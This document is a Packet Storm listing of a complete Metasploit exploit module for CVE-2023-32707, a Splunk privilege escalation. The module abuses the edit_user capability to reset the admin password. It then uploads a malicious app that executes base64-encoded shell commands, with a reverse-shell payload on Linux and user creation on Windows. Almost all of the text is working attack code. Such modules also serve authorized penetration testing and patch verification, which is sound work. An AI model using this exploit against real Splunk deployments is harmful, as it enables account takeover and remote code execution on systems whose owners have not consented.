Lucene search

K
packetstormHeyder Andrade, RedWay Security, Santiago Lopez, metasploit.comPACKETSTORM:175386
HistoryOct 27, 2023 - 12:00 a.m.

Splunk edit_user Capability Privilege Escalation

2023-10-2700:00:00
Heyder Andrade, RedWay Security, Santiago Lopez, metasploit.com
packetstormsecurity.com
228
splunk
edit_user
capability
privilege escalation
low-privileged user
escalate privileges
admin password
rce
malicious app

0.899 High

EPSS

Percentile

98.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
include Msf::Exploit::Remote::HttpClient  
  
attr_accessor :cookie  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Splunk "edit_user" Capability Privilege Escalation',  
'Description' => %q{  
A low-privileged user who holds a role that has the "edit_user" capability assigned to it  
can escalate their privileges to that of the admin user by providing a specially crafted web request.  
This is because the "edit_user" capability does not honor the "grantableRoles" setting in the authorize.conf  
configuration file, which prevents this scenario from happening.  
  
This exploit abuses this vulnerability to change the admin password and login with it to upload a malicious app achieving RCE.  
},  
'Author' => [  
'Mr Hack (try_to_hack) Santiago Lopez', # discovery  
'Heyder Andrade', # metasploit module  
'Redway Security <redwaysecurity.com>' # Writeup and PoC  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2023-32707' ],  
[ 'URL', 'https://advisory.splunk.com/advisories/SVD-2023-0602' ], # Vendor Advisory  
[ 'URL', 'https://blog.redwaysecurity.com/2023/09/exploit-cve-2023-32707.html' ], # Writeup  
[ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2023-32707' ] # PoC  
],  
'Payload' => {  
'Space' => 1024,  
'DisableNops' => true  
},  
'Platform' => %w[linux unix win osx],  
'Targets' => [  
[  
'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Linux',  
{  
'Arch' => ARCH_CMD,  
'Platform' => %w[linux unix],  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_python',  
# just to avoid the error because of the clean up: 'error retrieving current directory: getcwd: cannot access parent directories:'  
'AutoRunScript' => 'post/multi/general/execute COMMAND=cd $SPLUNK_HOME'  
}  
}  
],  
[  
'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Windows',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'win',  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/adduser' }  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8000,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS, # requests are logged in the _audit index  
# ARTIFACTS_ON_DISK # app is removed in the cleanup method  
]  
},  
'DisclosureDate' => '2023-06-01'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The username with "edit_user" role to authenticate as']),  
OptString.new('PASSWORD', [true, 'The password for the specified username']),  
OptString.new('TARGET_USER', [true, 'The username to change the password for (default: admin)', 'admin']),  
OptString.new('TARGET_PASSWORD', [false, 'The new password to set for the admin user (default: random)', Rex::Text.rand_text_alpha(rand(8..12))]),  
OptString.new('APP_NAME', [false, 'The name of the app to upload (default: random)', Faker::App.name.downcase.gsub(/(\s|-|_){1,}/, '')])  
]  
)  
# That depends on finding a strategy to distinguish commands that return output and commands that don't  
# register_advanced_options(  
# [  
# OptBool.new('ReturnOutput', [ true, 'Display command output', false ])  
# ]  
# )  
end  
  
def check  
splunk_login(datastore['USERNAME'], datastore['PASSWORD'])  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),  
'method' => 'GET',  
'cookie' => cookie,  
'vars_get' => {  
'output_mode' => 'json'  
}  
})  
  
return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200  
  
body = res.get_json_document  
version = Rex::Version.new(body['generator']['version'])  
  
return CheckCode::Safe("Detected Splunk version #{version} which is not vulnerable") unless (  
(Rex::Version.new('9.0.0') <= version && version < Rex::Version.new('9.0.5')) ||  
(Rex::Version.new('8.2.0') <= version && version < Rex::Version.new('8.2.11')) ||  
(Rex::Version.new('8.1.0') <= version && version < Rex::Version.new('8.1.14'))  
)  
  
print_status("Detected Splunk version #{version} which is vulnerable")  
capabilities = body['entry'].first['content']['capabilities']  
  
return CheckCode::Safe("User '#{datastore['USERNAME']}' does not have 'edit_user' capability") unless capabilities.include? 'edit_user'  
  
report_vuln(  
host: rhost,  
name: name,  
refs: references,  
info: [version]  
)  
  
CheckCode::Vulnerable("User '#{datastore['USERNAME']}' has 'edit_user' capability")  
end  
  
def app_name  
datastore['APP_NAME']  
end  
  
# The cleanup method is removing the app before the session is closed and it is broking the session.  
#  
def cleanup  
return unless session_created?  
  
super  
# Destroy job  
vprint_status("Cleaning up: destroying job #{@job_id}")  
send_request_cgi({  
'uri' => normalize_uri('/en-US/splunkd/__raw/services/search/jobs/', job_id),  
'method' => 'DELETE',  
'cookie' => cookie  
})  
# Remove app  
vprint_status("Cleaning up: removing app #{app_name}")  
execute_command("bash -c 'rm -rf $SPLUNK_HOME/etc/apps/#{app_name}'")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/en-US/debug/refresh'),  
'method' => 'POST',  
'cookie' => cookie,  
'vars_post' => {  
'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000']  
}  
})  
end  
  
def exploit  
splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])  
splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])  
  
splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE'])  
  
@job_id = execute_command(payload.encoded, { app_name: app_name })  
# TODO: distinguish commands that return output and commands that don't  
# fail_with(Failure::ConfigError, 'The payload returns output. Consider to set ReturnOutput to true') if payload.encoded.include? 'return output' && !datastore['ReturnOutput']  
# if datastore['ReturnOutput']  
# print_status('Waiting for command output')  
# print_line(splunk_fetch_job_output)  
# end  
end  
  
def execute_command(cmd, opts = {})  
res = send_request_cgi({  
'uri' => '/en-US/api/search/jobs',  
'method' => 'POST',  
'cookie' => cookie,  
'headers' =>  
{  
'X-Requested-With' => 'XMLHttpRequest',  
'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000']  
},  
'vars_post' =>  
{  
'auto_cancel' => '62',  
'status_buckets' => '300',  
'output_mode' => 'json',  
'search' => "| #{app_name} #{Rex::Text.encode_base64(cmd)}",  
'earliest_time' => '-1@h',  
'latest_time' => 'now',  
'ui_dispatch_app' => (opts[:app_name]).to_s  
}  
})  
  
fail_with(Failure::UnexpectedReply, "Unable to execute command. Unexpected reply (HTTP #{res.code})") unless res&.code == 200  
  
body = res.get_json_document  
  
fail_with(Failure::UnexpectedReply, 'Unable to get JOB ID of the command') unless body['data']  
  
body['data']  
end  
  
def splunk_helper_extract_token(uri)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, uri),  
'method' => 'GET',  
'keep_cookies' => true  
})  
  
fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200  
  
"session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies  
end  
  
def splunk_login(username, password)  
# gets cval and splunkweb_uid cookies  
self.cookie = splunk_helper_extract_token('/en-US/account/login')  
  
# login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/en-US/account/login'),  
'method' => 'POST',  
'cookie' => cookie,  
'vars_post' =>  
{  
'username' => username,  
'password' => password,  
'cval' => cookies_hash['cval']  
}  
})  
  
fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200  
  
cookie << " #{res.get_cookies}"  
end  
  
def splunk_change_password(username, password)  
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set  
do_login(username, password) unless cookie  
  
print_status("Changing '#{username}' password to #{password}")  
res = send_request_cgi({  
'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username),  
'method' => 'POST',  
'headers' => {  
'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'],  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'cookie' => cookie,  
'vars_post' => {  
'output_mode' => 'json',  
'password' => password,  
'force-change-pass' => 0,  
'locked-out' => 0  
}  
})  
  
fail_with(Failure::UnexpectedReply, "Unable to change #{username}'s password.") unless res&.code == 200  
  
print_good("Password of the user '#{username}' has been changed to #{password}")  
  
body = res.get_json_document  
capabilities = body['entry'].first['content']['capabilities']  
  
fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps'  
end  
  
def splunk_upload_app(app_name, _file_name)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'),  
'method' => 'GET',  
'cookie' => cookie  
})  
  
fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200  
  
html = res.get_html_document  
  
print_status("Uploading file #{app_name}")  
  
data = Rex::MIME::Message.new  
# fill the hidden fields from the form: state and splunk_form_key  
html.at('[id="installform"]').elements.each do |form|  
next unless form.attributes['value']  
  
data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")  
end  
data.add_part('1', nil, nil, 'form-data; name="force"')  
data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")  
post_data = data.to_s  
  
res = send_request_cgi({  
'uri' => '/en-US/manager/appinstall/_upload',  
'method' => 'POST',  
'cookie' => cookie,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
})  
  
fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))  
  
print_good("#{app_name} successfully uploaded")  
end  
  
# def splunk_fetch_job_output  
# res = send_request_cgi({  
# 'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),  
# 'method' => 'GET',  
# 'keep_cookies' => true,  
# 'cookie' => cookie,  
# 'vars_get' => {  
# 'output_mode' => 'json'  
# }  
# })  
  
# fail_with(Failure::UnexpectedReply, "Unable to get JOB results. Unexpected reply (HTTP #{res.code})") unless res&.code == 200  
  
# body = res.get_json_document  
  
# fail_with(Failure::UnexpectedReply, "Splunk reply: #{body['messages'].collect { |h| h['text'] if h['type'] == 'ERROR' }.join('\n')}") if body['results'].empty?  
  
# Rex::Text.decode_base64(body['results'].first['result'])  
# end  
  
def splunk_app  
# metadata folder  
metadata = <<~EOF  
[commands]  
export = system  
EOF  
  
# default folder  
commands_conf = <<~EOF  
[#{app_name}]  
type = python  
filename = #{app_name}.py  
local = false  
enableheader = false  
streaming = false  
perf_warn_limit = 0  
EOF  
  
app_conf = <<~EOF  
[launcher]  
author=#{Faker::Name.name}  
description=#{Faker::Lorem.sentence}  
version=#{Faker::App.version}  
  
[ui]  
is_visible = false  
EOF  
  
# bin folder  
msf_exec_py = <<~EOF  
import sys, base64, subprocess  
import splunk.Intersplunk  
  
header = ['result']  
results = []  
  
try:  
proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)  
output = proc.stdout.read().decode('utf-8')  
results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})  
except Exception as e:  
error_msg = f'Error : {str(e)} '  
results = splunk.Intersplunk.generateErrorResults(error_msg)  
  
splunk.Intersplunk.outputResults(results, fields=header)  
EOF  
  
tarfile = StringIO.new  
Rex::Tar::Writer.new tarfile do |tar|  
tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|  
io.write metadata  
end  
tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|  
io.write commands_conf  
end  
tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|  
io.write app_conf  
end  
tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|  
io.write msf_exec_py  
end  
end  
tarfile.rewind  
tarfile.close  
  
Rex::Text.gzip(tarfile.string)  
end  
  
def cookies_hash  
cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip }  
end  
  
end  
`